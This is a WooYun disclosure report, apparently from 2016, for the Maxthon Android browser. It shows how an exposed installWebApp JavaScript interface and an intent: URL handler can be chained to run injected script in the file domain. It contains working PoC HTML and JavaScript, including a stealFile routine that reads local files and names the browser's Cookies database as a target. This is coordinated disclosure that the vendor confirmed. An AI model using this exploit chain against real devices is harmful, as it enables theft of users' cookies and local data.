当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0187345

漏洞标题:傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息

相关厂商:傲游

漏洞作者: Fremy

提交时间:2016-03-22 18:53

修复时间:2016-06-20 19:10

公开时间:2016-06-20 19:10

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-22: 细节已通知厂商并且等待厂商处理中
2016-03-22: 厂商已经确认,细节仅向厂商公开
2016-03-25: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

简要描述:

傲游浏览器两处漏洞组合可以把JS 代码注入到file 域,获取用户敏感信息..

详细说明:

第一处漏洞,浏览器接口没有合理判断可以调用的域,可以利用这个接口下载任意文件

代码路径:com\mx\jsobject\JsObjMxBrowser.class
@JavascriptInterface
public void installWebApp(String paramString)
{
String str = t.a(paramString);
p.a(paramString, "/sdcard/webapp/" + str, null);
u.b("/sdcard/webapp/" + str);
d.b().a();
Toast.makeText(this.mContext, "webapp installed", 1).show();
}


接口将会从指定远程URL 中下载ZIP 解压包然后把数据释放到SD 卡中的webapp 中,如果没有插入SD 卡,那就会把文件释放到设备储存中
Download PoC :

function install() {
mmbrowser.installWebApp('http://**.**.**.**/test.zip');
};
install();


使用效果
1.运行页面

QQ截图20160321155348.png


2.webapp 文件夹内的数据

1.png


QQ截图20160321155311.png


第二处漏洞,使用浏览器的intent 协议让窗口打开下载好的文件

代码路径:com\mx\browser\MxBrowserActivity.class
if ((paramString.startsWith("intent:")) || (paramString.startsWith("#Intent;")))
{
paramString = com.mx.browser.f.o.a(paramString);
if (paramString == null) {
break label924;
}
try
{
startActivity(paramString);
return true;
}
catch (ActivityNotFoundException paramString)
{
for (;;)
{
paramString.printStackTrace();
}
}
}
...
public static Intent a(String paramString)
{
int k = 0;
int j = 1;
Intent localIntent = null;
int i;
if (paramString.startsWith("intent:")) {
i = 1;
}
for (;;)
{
if (j != 0) {}
try
{
localIntent = Intent.parseUri(paramString, i);
return localIntent;
}
catch (URISyntaxException paramString)
{
paramString.printStackTrace();
}
i = k;
if (!paramString.startsWith("#Intent;"))
{
j = 0;
i = k;
}
}
return null;
}


测试intent PoC :

<iframe width="0" height="0" src="intent:http://**.**.**.**/#Intent;component=com.mx.browser/com.mx.browser.MxBrowserActivity;end"></iframe>


测试intent PoC 执行效果
未执行intent PoC 之前:

QQ截图20160321160041.png


执行intent PoC 之后:

QQ截图20160321160057.png


于是测试一下打开刚才用installapp 接口下载到本地的文件,顺利执行:

QQ截图20160321160335.png


漏洞证明:

漏洞完整的利用过程如下:
第一步,构造好exploit.html ,让exploit.html 去读那些感兴趣的文件(为了方便测试,就读取文件自身的数据):

<html>
<script>
alert(123);
function stealFile(file) {
var xmlHttpReq = new XMLHttpRequest();
xmlHttpReq.onreadystatechange = function(){ if(xmlHttpReq.readyState == 4){ alert(xmlHttpReq.responseText); } };
xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
};
stealFile('file:///storage/sdcard/webapp/test/test.html');//file:///data/data/com.mx.browser/app_webview/Cookies</script>
test
</html>


然后用ZIP 把exploit.html 打包
接下来写payload.html ,这部分主要是让浏览器下载exploit.html 到本地然后执行

<html>
<script>
function install() {
mmbrowser.installWebApp('http://**.**.**.**/test.zip');
};
function open_tab_js_in_sdcard() {
document.write('<iframe width="0" height="0" src="intent:file:///storage/sdcard/webapp/test/test.html#Intent;component=com.mx.browser/com.mx.browser.MxBrowserActivity;end"></iframe>');
};
function open_tab_js_in_device() {
document.write('<iframe width="0" height="0" src="intent:file:///storage/webapp/test/test.html#Intent;component=com.mx.browser/com.mx.browser.MxBrowserActivity;end"></iframe>');
};
install();
setTimeout(function(){},3000); // 等待要注入的js 代码解压缩之后用浏览器新建标签打开
open_tab_js_in_sdcard();
open_tab_js_in_device();
</script>
</html>


测试URL:http://**.**.**.**/Maxthon_Android_Browser_InjectJSToFile.html
漏洞证明:

QQ截图20160321162242.png


QQ截图20160321162254.png


浏览器版本:

QQ图片20160321162418.png


QQ图片20160321162428.png


因为对android 的目录不太熟悉,所以测试都是在BlueStacks 下测试的.真实的漏洞在手机上测试也存在问题,但是目录没有填对所以没有正确执行.

QQ图片20160321162648.png


QQ图片20160321162653.png

修复方案:

版权声明:转载请注明来源 Fremy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-22 19:08

厂商回复:

非常感谢作者提供的漏洞细节,我们会尽快修复这个漏洞

最新状态:

暂无